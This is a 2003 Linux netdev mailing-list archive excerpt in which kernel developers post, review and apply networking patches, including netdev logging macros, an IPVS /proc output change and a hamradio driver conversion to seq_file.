sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5939 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sat, 13 Sep 2003 14:20:07 +0900 (JST) YOSHIFUJI Hideaki / _$B5HF#1QL@ wrote: > Convert /proc/net/pnp to seq_file. Applied, thank you Yoshfuji-san. From davem@pizda.ninka.net Mon Sep 15 16:05:57 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 16:06:03 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FN5uYa022452 for ; Mon, 15 Sep 2003 16:05:57 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id PAA29830; Mon, 15 Sep 2003 15:54:15 -0700 Date: Mon, 15 Sep 2003 15:54:15 -0700 From: "David S. Miller" To: "Randy.Dunlap" Cc: netdev@oss.sgi.com, janitor@sternwelten.at Subject: Re: Fw: [Kernel-janitors] old ioctl definitions in 2.5 Message-Id: <20030915155415.73c5056d.davem@redhat.com> In-Reply-To: <20030915155225.3cf90d79.rddunlap@osdl.org> References: <20030915155225.3cf90d79.rddunlap@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5940 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 15 Sep 2003 15:52:25 -0700 "Randy.Dunlap" wrote: > I think that we need to ask the netdev people about this... If the current generation of the bonding userland tools have stopped using these older ioctl values, yes we should kill them from the entire kernel tree. From davem@pizda.ninka.net Mon Sep 15 16:08:29 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 16:08:32 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FN8SYa022827 for ; Mon, 15 Sep 2003 16:08:28 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id PAA29864; Mon, 15 Sep 2003 15:56:52 -0700 Date: Mon, 15 Sep 2003 15:56:52 -0700 From: "David S. Miller" To: Mitchell Blank Jr Cc: romieu@fr.zoreil.com, netdev@oss.sgi.com Subject: Re: [PATCH] tiny af_packet.c cleanup Message-Id: <20030915155652.3e5e89a0.davem@redhat.com> In-Reply-To: <20030914112628.GD42531@gaz.sfgoth.com> References: <20030913055033.GB94744@gaz.sfgoth.com> <20030913093559.A23840@electric-eye.fr.zoreil.com> <20030913080252.GE94744@gaz.sfgoth.com> <20030913110353.B23840@electric-eye.fr.zoreil.com> <20030913201559.GI94744@gaz.sfgoth.com> <20030914125549.A7790@electric-eye.fr.zoreil.com> <20030914112628.GD42531@gaz.sfgoth.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5941 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sun, 14 Sep 2003 04:26:28 -0700 Mitchell Blank Jr wrote: > Francois Romieu wrote: > > See previously posted patch. Imho the non-trivial part isn't the locking > > itself but the fact that the first test of sk->sk_filter is done _without_ > > lock. > > OK, that was what I thought was going on. I figured the short comment (along > with the likely()) would explain this adequately (i.e. "we're now re-checking > under lock so we get the authorative answer") but maybe it needs more > explaination. When you guys decide on a final patch let me know, the semantic parts of Mitchell's changes look perfectly fine to me. From davem@pizda.ninka.net Mon Sep 15 16:09:18 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 16:09:20 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FN9HYa023153 for ; Mon, 15 Sep 2003 16:09:18 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id PAA29892; Mon, 15 Sep 2003 15:57:41 -0700 Date: Mon, 15 Sep 2003 15:57:40 -0700 From: "David S. Miller" To: "YOSHIFUJI Hideaki / _$B5HF#1QL@" Cc: netdev@oss.sgi.com Subject: Re: [PATCH] NET: use proc_net_fops_create() for /proc/net/wireless Message-Id: <20030915155740.0918e64b.davem@redhat.com> In-Reply-To: <20030913.142929.91737848.yoshfuji@linux-ipv6.org> References: <20030913.142929.91737848.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5942 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sat, 13 Sep 2003 14:29:29 +0900 (JST) YOSHIFUJI Hideaki / _$B5HF#1QL@ wrote: > use proc_net_fops_create() for /proc/net/wireless Applied, thank you. From davem@pizda.ninka.net Mon Sep 15 16:10:43 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 16:10:46 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FNAgYa023509 for ; Mon, 15 Sep 2003 16:10:42 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id PAA29899; Mon, 15 Sep 2003 15:59:04 -0700 Date: Mon, 15 Sep 2003 15:59:03 -0700 From: "David S. Miller" To: Bart De Schuymer Cc: laforge@netfilter.org, acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: ipt_physdev.c alignment problems on parisc64 Message-Id: <20030915155903.12a3f95d.davem@redhat.com> In-Reply-To: <200309132159.37834.bdschuym@pandora.be> References: <200309022116.41697.bdschuym@pandora.be> <20030905153152.GA3623@obroa-skai.de.gnumonks.org> <20030908191400.5ef59ab6.davem@redhat.com> <200309132159.37834.bdschuym@pandora.be> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5943 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sat, 13 Sep 2003 21:59:37 +0200 Bart De Schuymer wrote: > - char physindev[IFNAMSIZ]; > + char physindev[IFNAMSIZ] __attribute__ ((aligned (__alignof__(unsigned int)))); I have to reject the fix for this problem again. You can't change the struct exported to userspace in any way without breaking the tools. I tried to explain this in the first revision of your change. From jkenisto@us.ibm.com Mon Sep 15 16:11:28 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 16:11:33 -0700 (PDT) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FNBRYa023772 for ; Mon, 15 Sep 2003 16:11:28 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e31.co.us.ibm.com (8.12.9/8.12.2) with ESMTP id h8FNAro2475820; Mon, 15 Sep 2003 19:10:53 -0400 Received: from us.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8FNApvs067632; Mon, 15 Sep 2003 17:10:52 -0600 Message-ID: <3F66466A.35188299@us.ibm.com> Date: Mon, 15 Sep 2003 16:08:26 -0700 From: Jim Keniston X-Mailer: Mozilla 4.75 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: LKML , netdev , Jeff Garzik , "Feldman, Scott" , Larry Kessler , Greg KH , Randy Dunlap , Alan Cox , Andrew Morton , jkenisto CC: David Brownell , Stephen Hemminger Subject: [PATCH] Net device error logging, revised References: <3F4A8027.6FE3F594@us.ibm.com> Content-Type: multipart/mixed; boundary="------------12687B8D205259EF1DA1A6C4" X-archive-position: 5944 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jkenisto@us.ibm.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------12687B8D205259EF1DA1A6C4 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit This patch extends the concept of Linux 2.6's dev_* logging macros to support network devices. This is a modification of a patch posted last month, and addresses the issues raised since then, namely: 1. To minimize stack usage, the msg[] buffer in __netdev_printk() has been made static and protected by a spinlock. (The spinlock shouldn't be a big performance hit because we're about to serialize on printk's lock anyway.) 2. It is no longer possible to omit the msglevel arg. For example, netdev_err(dev,, "NIC fried!\n"); no longer works. This must be expressed as netdev_err(dev, ALL, "NIC fried!\n"); or (see #3 below) something like netdev_fatal(dev, HW, "NIC fried!\n"); 3. A new macro, netdev_fatal, is included. Given the call netdev_fatal(dev, HW, "NIC fried!\n"); the indicated message is always logged: the msglevel arg (HW, in this case) is NOT consulted. In fact, the msglevel arg to netdev_fatal is ignored in this implementation. (As previously discussed, in some future implementation, the msglevel could be logged to help indicate the circumstances under which the event was logged.) 4. It was suggested that the netdev_* macros should support message filtering via simple message levels -- e.g., if (dev->msg_enable > 5) printk(KERN_INFO "Received a packet.\n"); -- in addition to (or instead of) via the NETIF_MSG_* bit masks. But Jeff Garzik reiterated his desire to standardize on NETIF_MSG_*, so I'm leaving things unchanged in that respect. 5. It was suggested that netdev_dbg is not flexible enough to handle all debugging situations. This is probably true. Because of the special nature of debugging messages, I'd expect the developer to use other approaches in debug code if netdev_dbg doesn't fill the bill. But the netdev_dbg approach appears to be reasonably useful. (For comparison, there are currently 188 calls to dev_dbg in Linux drivers.) No change here. 6. Certain comments seemed to imply that you should be able to suppress all messages (even those with a msglevel of ALL) by setting the msg_enable field to 0. I chose not to support this, because it seemed counterintuitive and inconsistent with existing practice. Jim Keniston IBM Linux Technology Center --------------12687B8D205259EF1DA1A6C4 Content-Type: text/plain; charset=us-ascii; name="netdev-2.6.0-test5.patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="netdev-2.6.0-test5.patch" diff -Naur linux.org/include/linux/netdevice.h linux.netdev.patched/include/linux/netdevice.h --- linux.org/include/linux/netdevice.h Mon Sep 15 15:58:06 2003 +++ linux.netdev.patched/include/linux/netdevice.h Mon Sep 15 15:58:06 2003 @@ -467,6 +467,9 @@ struct divert_blk *divert; #endif /* CONFIG_NET_DIVERT */ + /* NETIF_MSG_* flags to control the types of events we log */ + int msg_enable; + /* class/net/name entry */ struct class_device class_dev; }; @@ -741,6 +744,7 @@ NETIF_MSG_PKTDATA = 0x1000, NETIF_MSG_HW = 0x2000, NETIF_MSG_WOL = 0x4000, + NETIF_MSG_ALL = -1, /* always log message */ }; #define netif_msg_drv(p) ((p)->msg_enable & NETIF_MSG_DRV) @@ -899,6 +903,40 @@ extern void dev_clear_fastroute(struct net_device *dev); #endif +/* debugging and troubleshooting/diagnostic helpers. */ +/** + * netdev_printk() - Log message with interface name, gated by message level + * @sevlevel: severity level -- e.g., KERN_INFO + * @netdev: net_device pointer + * @msglevel: a standard message-level flag with the NETIF_MSG_ prefix removed. + * Unless msglevel is NETIF_MSG_ALL, log the message only if that flag + * is set in netdev->msg_enable. + * @format: as with printk + * @args: as with printk + */ +extern int __netdev_printk(const char *sevlevel, + const struct net_device *netdev, int msglevel, const char *format, ...); +#define netdev_printk(sevlevel, netdev, msglevel, format, arg...) \ + __netdev_printk(sevlevel , netdev , NETIF_MSG_##msglevel , \ + format , ## arg) + +#ifdef DEBUG +#define netdev_dbg(netdev, msglevel, format, arg...) \ + netdev_printk(KERN_DEBUG , netdev , msglevel , format , ## arg) +#else +#define netdev_dbg(netdev, msglevel, format, arg...) do {} while (0) +#endif + +#define netdev_err(netdev, msglevel, format, arg...) \ + netdev_printk(KERN_ERR , netdev , msglevel , format , ## arg) +#define netdev_info(netdev, msglevel, format, arg...) \ + netdev_printk(KERN_INFO , netdev , msglevel , format , ## arg) +#define netdev_warn(netdev, msglevel, format, arg...) \ + netdev_printk(KERN_WARNING , netdev , msglevel , format , ## arg) + +/* report fatal error unconditionally; msglevel ignored for now */ +#define netdev_fatal(netdev, msglevel, format, arg...) \ + netdev_printk(KERN_ERR , netdev , ALL , format , ## arg) #endif /* __KERNEL__ */ diff -Naur linux.org/net/core/dev.c linux.netdev.patched/net/core/dev.c --- linux.org/net/core/dev.c Mon Sep 15 15:58:07 2003 +++ linux.netdev.patched/net/core/dev.c Mon Sep 15 15:58:07 2003 @@ -3035,3 +3035,75 @@ } subsys_initcall(net_dev_init); + +static spinlock_t netdev_printk_lock = SPIN_LOCK_UNLOCKED; +/** + * __netdev_printk() - Log message with interface name, gated by message level + * @sevlevel: severity level -- e.g., KERN_INFO + * @netdev: net_device pointer + * @msglevel: a standard message-level flag such as NETIF_MSG_PROBE. + * Unless msglevel is NETIF_MSG_ALL, log the message only if + * that flag is set in netdev->msg_enable. + * @format: as with printk + * @args: as with printk + * + * Does the work for the netdev_printk macro. + * For a lot of network drivers, the probe function looks like + * ... + * netdev = alloc_netdev(...); // or alloc_etherdev(...) + * SET_NETDEV_DEV(netdev, dev); + * ... + * register_netdev(netdev); + * ... + * netdev_printk and its wrappers (e.g., netdev_err) can be used as + * soon as you have a valid net_device pointer -- e.g., from alloc_netdev, + * alloc_etherdev, or init_etherdev. (Before that, use dev_printk and + * its wrappers to report device errors.) It's common for an interface to + * have a name like "eth%d" until the device is successfully configured, + * and the call to register_netdev changes it to a "real" name like "eth0". + * + * If the interface's reg_state is NETREG_REGISTERED, we assume that it has + * been successfully set up in sysfs, and we prepend only the interface name + * to the message -- e.g., "eth0: NIC Link is Down". The interface + * name can be used to find eth0's driver, bus ID, etc. in sysfs. + * + * For any other value of reg_state, we prepend the driver name and bus ID + * as well as the (possibly incomplete) interface name -- e.g., + * "eth%d (e100 0000:00:03.0): Failed to map PCI address..." + * + * Probe functions that alloc and register in one step (via init_etherdev), + * or otherwise register the device before the probe completes successfully, + * may need to take other steps to ensure that the failing device is clearly + * identified. + */ +int __netdev_printk(const char *sevlevel, const struct net_device *netdev, + int msglevel, const char *format, ...) +{ + if (!netdev || !format) { + return -EINVAL; + } + if (msglevel == NETIF_MSG_ALL || (netdev->msg_enable & msglevel)) { + static char msg[512]; /* protected by netdev_printk_lock */ + unsigned long flags; + va_list args; + struct device *dev = netdev->class_dev.dev; + + spin_lock_irqsave(&netdev_printk_lock, flags); + va_start(args, format); + vsnprintf(msg, 512, format, args); + va_end(args); + + if (!sevlevel) { + sevlevel = ""; + } + + if (netdev->reg_state == NETREG_REGISTERED || !dev) { + printk("%s%s: %s", sevlevel, netdev->name, msg); + } else { + printk("%s%s (%s %s): %s", sevlevel, netdev->name, + dev->driver->name, dev->bus_id, msg); + } + spin_unlock_irqrestore(&netdev_printk_lock, flags); + } + return 0; +} diff -Naur linux.org/net/netsyms.c linux.netdev.patched/net/netsyms.c --- linux.org/net/netsyms.c Mon Sep 15 15:58:07 2003 +++ linux.netdev.patched/net/netsyms.c Mon Sep 15 15:58:07 2003 @@ -210,6 +210,7 @@ EXPORT_SYMBOL(net_ratelimit); EXPORT_SYMBOL(net_random); EXPORT_SYMBOL(net_srandom); +EXPORT_SYMBOL(__netdev_printk); /* Needed by smbfs.o */ EXPORT_SYMBOL(__scm_destroy); --------------12687B8D205259EF1DA1A6C4-- From davem@pizda.ninka.net Mon Sep 15 16:13:43 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 16:13:47 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FNDhYa024234 for ; Mon, 15 Sep 2003 16:13:43 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA29929; Mon, 15 Sep 2003 16:02:00 -0700 Date: Mon, 15 Sep 2003 16:02:00 -0700 From: "David S. Miller" To: Marcel Holtmann Cc: dwmw2@infradead.org, netdev@oss.sgi.com, shemminger@osdl.org, maxk@qualcomm.com Subject: Re: Bluetooth BUG() in set_sk_owner(). Message-Id: <20030915160200.5c93b8e0.davem@redhat.com> In-Reply-To: <1063619827.28891.507.camel@pegasus> References: <1063184337.32473.529.camel@hades.cambridge.redhat.com> <20030911182223.2e9b7118.davem@redhat.com> <1063616050.21195.67.camel@hades.cambridge.redhat.com> <1063619827.28891.507.camel@pegasus> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5945 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On 15 Sep 2003 11:57:01 +0200 Marcel Holtmann wrote: > > static struct net_proto_family bnep_sock_family_ops = { > > .family = PF_BLUETOOTH, > > - .create = bnep_sock_create > > + .create = bnep_sock_create, > > + .owner = THIS_MODULE > > }; > > it is only cosmetic, but put the .owner above the .create. I applied David's patch with Marcel's requested cosmetic change. Thanks. From ratz@drugphish.ch Mon Sep 15 16:19:02 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 16:19:06 -0700 (PDT) Received: from mailphish.drugphish.ch (adsl-212-90-196-233.cybernet.ch [212.90.196.233]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FNJ0Ya024665 for ; Mon, 15 Sep 2003 16:19:01 -0700 Received: from drugphish.ch (unknown [172.23.2.31]) by mailphish.drugphish.ch (drugphish mail transportation agency) with ESMTP id B825A319A; Mon, 15 Sep 2003 22:50:35 +0000 (/etc/localtime) Message-ID: <3F664879.4090309@drugphish.ch> Date: Tue, 16 Sep 2003 01:17:13 +0200 From: Roberto Nibali User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030801 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "LinuxVirtualServer.org users mailing list." Cc: "David S. Miller" , netdev@oss.sgi.com, Wensong Zhang Subject: Re: [PATCH] ipvs -- format /proc/net/ip_vs_conn entries in dotted notation. References: <20030915144329.6dc442ad.shemminger@osdl.org> In-Reply-To: <20030915144329.6dc442ad.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5946 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ratz@drugphish.ch Precedence: bulk X-list: netdev > Easier for human's to read dotted notation IP addresses. True, but ipvsadm will not be happy ;). > diff -Nru a/net/ipv4/ipvs/ip_vs_conn.c b/net/ipv4/ipvs/ip_vs_conn.c > --- a/net/ipv4/ipvs/ip_vs_conn.c Mon Sep 15 14:31:28 2003 > +++ b/net/ipv4/ipvs/ip_vs_conn.c Mon Sep 15 14:31:28 2003 > @@ -682,23 +682,33 @@ > ct_read_unlock(l - ip_vs_conn_tab); > } > > +static inline void addr_format(char * tmp,__u32 addr, __u16 port) > +{ > + sprintf(tmp, "%u.%u.%u.%u:%u", > + NIPQUAD(addr), ntohs(port)); > +} > + > + > static int ip_vs_conn_seq_show(struct seq_file *seq, void *v) > { > > if (v == SEQ_START_TOKEN) > - seq_puts(seq, > - "Pro FromIP FPrt ToIP TPrt DestIP DPrt State Expires\n"); > + seq_printf(seq, "%-3s %-18s %-18s %-18s %-11s %-6s\n", > + "Pro", "From", "To", "Destination", > + "State", "Expire"); Why did you change the wording? Hmm, on the other hand it might just look more consistent with similar existing code (thinking of netfilter) after all. Only we will need to fix the ipvsadm user space code if this patch goes in. > else { > const struct ip_vs_conn *cp = v; > + char from[20], to[20], dest[20]; Either one of us can't count, I get 21 bytes "worst-case" from addr_format(...). > + > + addr_format(from, cp->caddr, ntohs(cp->cport)); > + addr_format(to, cp->vaddr, ntohs(cp->vport)); > + addr_format(dest, cp->daddr, ntohs(cp->dport)); > > - seq_printf(seq, > - "%-3s %08X %04X %08X %04X %08X %04X %-11s %7lu\n", > - ip_vs_proto_name(cp->protocol), > - ntohl(cp->caddr), ntohs(cp->cport), > - ntohl(cp->vaddr), ntohs(cp->vport), > - ntohl(cp->daddr), ntohs(cp->dport), > - ip_vs_state_name(cp->protocol, cp->state), > - (cp->timer.expires-jiffies)/HZ); > + seq_printf(seq, "%-3s %-18s %-18s %-18s %-11s %7lu\n", This looks wrong, from, to and dest are 20 bytes in your patch. > + ip_vs_proto_name(cp->protocol), > + from, to, dest, > + ip_vs_state_name(cp->protocol, cp->state), > + (cp->timer.expires-jiffies)/HZ); > } > return 0; > } Thanks for your work. It's truely appreciated. Take care, Roberto Nibali, ratz -- echo '[q]sa[ln0=aln256%Pln256/snlbx]sb3135071790101768542287578439snlbxq'|dc From shemminger@osdl.org Mon Sep 15 16:24:08 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 16:24:11 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FNO7Ya027891 for ; Mon, 15 Sep 2003 16:24:08 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8FNNto06487; Mon, 15 Sep 2003 16:23:55 -0700 Date: Mon, 15 Sep 2003 16:23:35 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: linux-hams@vger.kernel.org, netdev@oss.sgi.com Subject: [PATCH] hamradio/scc - Message-Id: <20030915162335.0034a551.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5947 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Update hamradio/scc for 2.6.0-test5 - use seq_file for /proc - get rid of dev_get() - use alloc_netdev Don't have hardware, but can load/unload the module fine. diff -Nru a/drivers/net/hamradio/scc.c b/drivers/net/hamradio/scc.c --- a/drivers/net/hamradio/scc.c Mon Sep 15 16:20:49 2003 +++ b/drivers/net/hamradio/scc.c Mon Sep 15 16:20:49 2003 @@ -171,6 +171,7 @@ #include #include #include +#include #include @@ -202,8 +203,8 @@ static irqreturn_t scc_isr(int irq, void *dev_id, struct pt_regs *regs); static void scc_init_timer(struct scc_channel *scc); -static int scc_net_setup(struct scc_channel *scc, unsigned char *name, int addev); -static int scc_net_init(struct net_device *dev); +static int scc_net_alloc(const char *name, struct scc_channel *scc); +static void scc_net_setup(struct net_device *dev); static int scc_net_open(struct net_device *dev); static int scc_net_close(struct net_device *dev); static void scc_net_rx(struct scc_channel *scc, struct sk_buff *skb); @@ -235,7 +236,7 @@ /* These provide interrupt save 2-step access to the Z8530 registers */ -static spinlock_t iolock; /* Guards paired accesses */ +static spinlock_t iolock = SPIN_LOCK_UNLOCKED; /* Guards paired accesses */ static inline unsigned char InReg(io_port port, unsigned char reg) { @@ -1512,34 +1513,28 @@ * Allocate device structure, err, instance, and register driver */ -static int scc_net_setup(struct scc_channel *scc, unsigned char *name, int addev) +static int scc_net_alloc(const char *name, struct scc_channel *scc) { + int err; struct net_device *dev; - if (dev_get(name)) - { - printk(KERN_INFO "Z8530drv: device %s already exists.\n", name); - return -EEXIST; - } - - if ((scc->dev = (struct net_device *) kmalloc(sizeof(struct net_device), GFP_KERNEL)) == NULL) + dev = alloc_netdev(0, name, scc_net_setup); + if (!dev) return -ENOMEM; - dev = scc->dev; - memset(dev, 0, sizeof(struct net_device)); - - strcpy(dev->name, name); - dev->priv = (void *) scc; - dev->init = scc_net_init; - + dev->priv = scc; + scc->dev = dev; spin_lock_init(&scc->lock); - - if ((addev? register_netdevice(dev) : register_netdev(dev)) != 0) { - kfree(dev); - return -EIO; - } - SET_MODULE_OWNER(dev); + err = register_netdev(dev); + if (err) { + printk(KERN_ERR "%s: can't register network device (%d)\n", + name, err); + free_netdev(dev); + scc->dev = NULL; + return err; + } + return 0; } @@ -1556,8 +1551,9 @@ /* ----> Initialize device <----- */ -static int scc_net_init(struct net_device *dev) +static void scc_net_setup(struct net_device *dev) { + SET_MODULE_OWNER(dev); dev->tx_queue_len = 16; /* should be enough... */ dev->open = scc_net_open; @@ -1581,7 +1577,6 @@ dev->mtu = AX25_DEF_PACLEN; dev->addr_len = AX25_ADDR_LEN; - return 0; } /* ----> open network device <---- */ @@ -1719,10 +1714,10 @@ struct scc_mem_config memcfg; struct scc_hw_config hwcfg; struct scc_calibrate cal; + struct scc_channel *scc; int chan; - unsigned char device_name[10]; + unsigned char device_name[IFNAMSIZ]; void *arg; - struct scc_channel *scc; scc = (struct scc_channel *) dev->priv; arg = (void *) ifr->ifr_data; @@ -1828,8 +1823,10 @@ { request_region(SCC_Info[2*Nchips+chan].ctrl, 1, "scc ctrl"); request_region(SCC_Info[2*Nchips+chan].data, 1, "scc data"); - if (Nchips+chan != 0) - scc_net_setup(&SCC_Info[2*Nchips+chan], device_name, 1); + if (Nchips+chan != 0 && + scc_net_alloc(device_name, + &SCC_Info[2*Nchips+chan])) + return -EINVAL; } } @@ -1978,39 +1975,58 @@ /* * dump statistics to /proc/net/z8530drv * */ /* ******************************************************************** */ +#ifdef CONFIG_PROC_FS -static int scc_net_get_info(char *buffer, char **start, off_t offset, int length) +static inline struct scc_channel *scc_net_seq_idx(loff_t pos) { - struct scc_channel *scc; - struct scc_kiss *kiss; - struct scc_stat *stat; - int len = 0; - off_t pos = 0; - off_t begin = 0; int k; - len += sprintf(buffer, "z8530drv-"VERSION"\n"); - - if (!Driver_Initialized) - { - len += sprintf(buffer+len, "not initialized\n"); - goto done; + for (k = 0; k < Nchips*2; ++k) { + if (!SCC_Info[k].init) + continue; + if (pos-- == 0) + return &SCC_Info[k]; } + return NULL; +} - if (!Nchips) - { - len += sprintf(buffer+len, "chips missing\n"); - goto done; +static void *scc_net_seq_start(struct seq_file *seq, loff_t *pos) +{ + return *pos ? scc_net_seq_idx(*pos - 1) : SEQ_START_TOKEN; + +} + +static void *scc_net_seq_next(struct seq_file *seq, void *v, loff_t *pos) +{ + unsigned k; + struct scc_channel *scc = v; + ++*pos; + + for (k = (v == SEQ_START_TOKEN) ? 0 : (scc - SCC_Info)+1; + k < Nchips*2; ++k) { + if (SCC_Info[k].init) + return &SCC_Info[k]; } + return NULL; +} - for (k = 0; k < Nchips*2; k++) - { - scc = &SCC_Info[k]; - stat = &scc->stat; - kiss = &scc->kiss; +static void scc_net_seq_stop(struct seq_file *seq, void *v) +{ +} + +static int scc_net_seq_show(struct seq_file *seq, void *v) +{ + if (v == SEQ_START_TOKEN) { + seq_puts(seq, "z8530drv-"VERSION"\n"); + } else if (!Driver_Initialized) { + seq_puts(seq, "not initialized\n"); + } else if (!Nchips) { + seq_puts(seq, "chips missing\n"); + } else { + const struct scc_channel *scc = v; + const struct scc_stat *stat = &scc->stat; + const struct scc_kiss *kiss = &scc->kiss; - if (!scc->init) - continue; /* dev data ctrl irq clock brand enh vector special option * baud nrz clocksrc softdcd bufsize @@ -2021,24 +2037,24 @@ * R ## ## XX ## ## ## ## ## XX ## ## ## ## ## ## ## */ - len += sprintf(buffer+len, "%s\t%3.3lx %3.3lx %d %lu %2.2x %d %3.3lx %3.3lx %d\n", + seq_printf(seq, "%s\t%3.3lx %3.3lx %d %lu %2.2x %d %3.3lx %3.3lx %d\n", scc->dev->name, scc->data, scc->ctrl, scc->irq, scc->clock, scc->brand, scc->enhanced, Vector_Latch, scc->special, scc->option); - len += sprintf(buffer+len, "\t%lu %d %d %d %d\n", + seq_printf(seq, "\t%lu %d %d %d %d\n", scc->modem.speed, scc->modem.nrz, scc->modem.clocksrc, kiss->softdcd, stat->bufsize); - len += sprintf(buffer+len, "\t%lu %lu %lu %lu\n", + seq_printf(seq, "\t%lu %lu %lu %lu\n", stat->rxints, stat->txints, stat->exints, stat->spints); - len += sprintf(buffer+len, "\t%lu %lu %d / %lu %lu %d / %d %d\n", + seq_printf(seq, "\t%lu %lu %d / %lu %lu %d / %d %d\n", stat->rxframes, stat->rxerrs, stat->rx_over, stat->txframes, stat->txerrs, stat->tx_under, stat->nospace, stat->tx_state); #define K(x) kiss->x - len += sprintf(buffer+len, "\t%d %d %d %d %d %d %d %d %d %d %d %d\n", + seq_printf(seq, 